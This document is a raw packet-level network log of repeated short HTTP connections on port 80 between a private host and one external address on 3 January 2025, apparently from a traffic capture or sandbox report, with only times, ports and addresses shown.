Jan 3, 2025 11:48:15.799689054 CET	51762	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:15.804613113 CET	80	51762	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:15.900748014 CET	80	51762	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:15.957751036 CET	51762	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:16.163487911 CET	80	51762	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:16.206096888 CET	51762	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:16.290441036 CET	51762	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:16.290863037 CET	51768	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:16.295423985 CET	80	51762	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:16.295598984 CET	51762	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:16.295638084 CET	80	51768	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:16.295757055 CET	51768	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:16.295885086 CET	51768	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:16.300606966 CET	80	51768	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:16.656009912 CET	51768	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:16.660795927 CET	80	51768	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:16.769610882 CET	80	51768	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:16.830847979 CET	51768	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:16.946964025 CET	80	51768	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:17.002723932 CET	51768	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:17.230638981 CET	51768	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:17.234767914 CET	51774	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:17.235718966 CET	80	51768	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:17.235771894 CET	51768	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:17.239571095 CET	80	51774	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:17.240197897 CET	51774	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:17.253982067 CET	51774	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:17.258795023 CET	80	51774	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:17.612185955 CET	51774	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:17.617214918 CET	80	51774	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:17.684739113 CET	80	51774	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:17.737095118 CET	51774	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:17.955997944 CET	80	51774	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:18.002715111 CET	51774	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:18.078397989 CET	51774	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:18.079010963 CET	51781	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:18.083348036 CET	80	51774	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:18.083416939 CET	51774	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:18.083777905 CET	80	51781	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:18.083857059 CET	51781	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:18.083982944 CET	51781	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:18.088742018 CET	80	51781	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:18.440505028 CET	51781	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:18.445363045 CET	80	51781	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:18.577318907 CET	80	51781	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:18.621953011 CET	51781	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:18.827174902 CET	80	51781	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:18.877732038 CET	51781	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:18.952442884 CET	51781	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:18.952446938 CET	51786	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:19.147042036 CET	80	51786	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:19.147108078 CET	80	51781	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:19.147121906 CET	51786	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:19.147217989 CET	51781	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:19.147802114 CET	51786	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:19.152517080 CET	80	51786	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:19.505906105 CET	51786	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:19.510868073 CET	80	51786	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:19.594110966 CET	80	51786	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:19.643500090 CET	51786	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:19.853876114 CET	80	51786	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:19.912731886 CET	51786	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.304230928 CET	51786	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.304564953 CET	51794	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.309350014 CET	80	51786	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.309362888 CET	80	51794	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.309410095 CET	51786	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.309442997 CET	51794	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.309695959 CET	51794	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.314476967 CET	80	51794	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.332170010 CET	51795	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.332264900 CET	51794	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.336921930 CET	80	51795	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.337038994 CET	51795	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.358177900 CET	51795	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.362962961 CET	80	51795	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.379422903 CET	80	51794	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.504260063 CET	51796	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.509116888 CET	80	51796	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.509188890 CET	51796	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.509289980 CET	51796	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.514027119 CET	80	51796	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.686865091 CET	80	51794	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.686919928 CET	51794	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.706110954 CET	51795	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.710896969 CET	80	51795	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.711030006 CET	80	51795	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.780677080 CET	80	51795	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.830849886 CET	51795	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.862329006 CET	51796	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:20.867636919 CET	80	51796	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.965610027 CET	80	51796	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:20.991914034 CET	80	51795	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:21.015183926 CET	51796	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.033981085 CET	51795	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.135346889 CET	80	51796	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:21.190253973 CET	51796	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.262061119 CET	51795	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.262134075 CET	51796	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.262871981 CET	51802	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.267132044 CET	80	51795	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:21.267216921 CET	51795	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.267527103 CET	80	51796	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:21.267573118 CET	51796	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.267702103 CET	80	51802	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:21.267769098 CET	51802	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.267908096 CET	51802	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.272681952 CET	80	51802	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:21.612314939 CET	51802	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.617146969 CET	80	51802	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:21.719422102 CET	80	51802	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:21.768480062 CET	51802	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:21.889369965 CET	80	51802	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:21.941891909 CET	51802	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:22.013839006 CET	51808	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:22.018667936 CET	80	51808	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:22.018748999 CET	51808	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:22.018821955 CET	51808	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:22.023602009 CET	80	51808	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:22.379705906 CET	51808	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:22.384488106 CET	80	51808	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:22.471736908 CET	80	51808	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:22.518362999 CET	51808	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:22.731800079 CET	80	51808	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:22.783993006 CET	51808	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:23.314748049 CET	51808	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:23.316096067 CET	51815	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:23.319701910 CET	80	51808	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:23.319745064 CET	51808	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:23.320890903 CET	80	51815	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:23.320950985 CET	51815	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:23.321182013 CET	51815	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:23.325922012 CET	80	51815	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:23.674696922 CET	51815	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:23.679568052 CET	80	51815	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:23.789015055 CET	80	51815	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:23.830941916 CET	51815	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:23.958580017 CET	80	51815	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:24.002793074 CET	51815	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.077256918 CET	51815	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.077617884 CET	51821	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.082284927 CET	80	51815	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:24.082479000 CET	80	51821	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:24.082559109 CET	51815	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.082664967 CET	51821	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.085748911 CET	51821	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.090476036 CET	80	51821	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:24.441744089 CET	51821	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.446683884 CET	80	51821	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:24.553958893 CET	80	51821	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:24.596539021 CET	51821	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.804838896 CET	80	51821	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:24.846514940 CET	51821	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.915712118 CET	51802	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.919528961 CET	51821	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.920126915 CET	51827	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.924508095 CET	80	51821	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:24.924590111 CET	51821	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.924881935 CET	80	51827	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:24.924973965 CET	51827	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.925060987 CET	51827	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:24.929800987 CET	80	51827	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:25.285125017 CET	51827	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:25.289870977 CET	80	51827	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:25.376245975 CET	80	51827	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:25.428189039 CET	51827	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:25.625287056 CET	80	51827	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:25.674633026 CET	51827	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:25.926161051 CET	51827	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:25.926969051 CET	51833	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:25.931227922 CET	80	51827	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:25.931286097 CET	51827	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:25.931745052 CET	80	51833	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:25.931804895 CET	51833	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:25.931921959 CET	51833	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:25.936763048 CET	80	51833	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.003285885 CET	51833	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.003741980 CET	51834	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.008547068 CET	80	51834	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.008599043 CET	51834	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.008733034 CET	51834	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.013470888 CET	80	51834	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.051439047 CET	80	51833	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.123303890 CET	51835	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.128189087 CET	80	51835	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.128259897 CET	51835	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.128374100 CET	51835	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.133121967 CET	80	51835	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.294176102 CET	80	51833	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.294265985 CET	51833	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.362260103 CET	51834	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.367106915 CET	80	51834	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.367158890 CET	80	51834	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.452980995 CET	80	51834	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.489788055 CET	51835	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.494563103 CET	80	51835	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.495584965 CET	51834	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.569642067 CET	80	51835	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.612128019 CET	51835	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.732424974 CET	80	51834	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.780653954 CET	51834	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.831001043 CET	80	51835	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.877747059 CET	51835	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.952049971 CET	51835	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.952052116 CET	51834	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.952851057 CET	51841	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.957012892 CET	80	51835	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.957077980 CET	51835	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.957372904 CET	80	51834	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.957418919 CET	51834	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.957585096 CET	80	51841	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:26.957688093 CET	51841	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.957824945 CET	51841	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:26.962557077 CET	80	51841	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:27.315351963 CET	51841	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:27.320100069 CET	80	51841	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:27.430008888 CET	80	51841	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:27.471513033 CET	51841	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:27.596515894 CET	80	51841	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:27.643387079 CET	51841	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:27.720536947 CET	51847	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:27.725385904 CET	80	51847	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:27.725455999 CET	51847	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:27.725578070 CET	51847	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:27.730357885 CET	80	51847	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:28.080991030 CET	51847	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:28.085752010 CET	80	51847	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:28.188812017 CET	80	51847	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:28.237164021 CET	51847	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:28.452054977 CET	80	51847	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:28.502770901 CET	51847	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:28.926291943 CET	51847	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:28.926584959 CET	51858	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:28.931350946 CET	80	51858	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:28.931394100 CET	80	51847	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:28.931456089 CET	51847	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:28.931468010 CET	51858	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:28.931688070 CET	51858	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:28.936404943 CET	80	51858	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:29.295037031 CET	51858	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:29.299935102 CET	80	51858	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:29.394810915 CET	80	51858	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:29.440260887 CET	51858	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:29.558830023 CET	80	51858	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:29.612138033 CET	51858	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:29.688494921 CET	51858	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:29.689059019 CET	51862	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:29.693465948 CET	80	51858	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:29.693763971 CET	51858	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:29.693892956 CET	80	51862	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:29.693985939 CET	51862	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:29.694190025 CET	51862	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:29.698928118 CET	80	51862	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:30.049742937 CET	51862	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:30.054622889 CET	80	51862	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:30.145864010 CET	80	51862	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:30.190269947 CET	51862	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:30.326767921 CET	80	51862	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:30.377784967 CET	51862	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:30.447432995 CET	51841	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:30.452071905 CET	51862	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:30.452792883 CET	51867	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:30.457020044 CET	80	51862	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:30.457072020 CET	51862	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:30.457499027 CET	80	51867	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:30.457561016 CET	51867	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:30.457659006 CET	51867	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:30.462426901 CET	80	51867	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:30.815747976 CET	51867	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:30.822627068 CET	80	51867	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:30.928714037 CET	80	51867	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:30.971527100 CET	51867	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.179646969 CET	80	51867	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:31.221546888 CET	51867	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.407419920 CET	51867	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.408106089 CET	51876	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.412655115 CET	80	51867	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:31.413125038 CET	80	51876	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:31.413201094 CET	51867	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.413372993 CET	51876	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.497325897 CET	51876	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.503177881 CET	80	51876	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:31.738075018 CET	51876	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.738991022 CET	51877	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.743753910 CET	80	51877	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:31.743812084 CET	51877	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.743951082 CET	51877	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.750003099 CET	80	51877	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:31.766172886 CET	80	51876	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:31.766230106 CET	51876	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.858876944 CET	51878	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.863641977 CET	80	51878	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:31.863699913 CET	51878	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.863833904 CET	51878	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:31.868587017 CET	80	51878	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:32.096664906 CET	51877	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.101490021 CET	80	51877	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:32.101561069 CET	80	51877	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:32.189683914 CET	80	51877	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:32.221632957 CET	51878	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.226593971 CET	80	51878	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:32.237148046 CET	51877	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.306469917 CET	80	51878	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:32.346523046 CET	51878	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.462810040 CET	80	51877	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:32.518387079 CET	51877	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.568011999 CET	80	51878	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:32.612149954 CET	51878	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.686382055 CET	51878	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.686388016 CET	51877	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.687231064 CET	51884	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.691499949 CET	80	51877	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:32.691905022 CET	80	51878	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:32.691989899 CET	51878	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.691996098 CET	51877	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.692074060 CET	80	51884	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:32.692176104 CET	51884	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.693802118 CET	51884	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:32.698625088 CET	80	51884	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:33.050120115 CET	51884	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:33.054877043 CET	80	51884	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:33.164438009 CET	80	51884	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:33.206003904 CET	51884	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:33.423753023 CET	80	51884	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:33.471589088 CET	51884	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:33.544271946 CET	51890	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:33.549053907 CET	80	51890	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:33.549174070 CET	51890	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:33.549264908 CET	51890	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:33.554089069 CET	80	51890	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:34.016403913 CET	80	51890	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:34.057821035 CET	51890	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:34.062725067 CET	80	51890	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:34.408215046 CET	80	51890	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:34.455904007 CET	51890	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:34.597007990 CET	51890	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:34.598027945 CET	51899	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:34.602878094 CET	80	51890	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:34.603041887 CET	51890	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:34.603849888 CET	80	51899	188.114.97.3	192.168.2.4
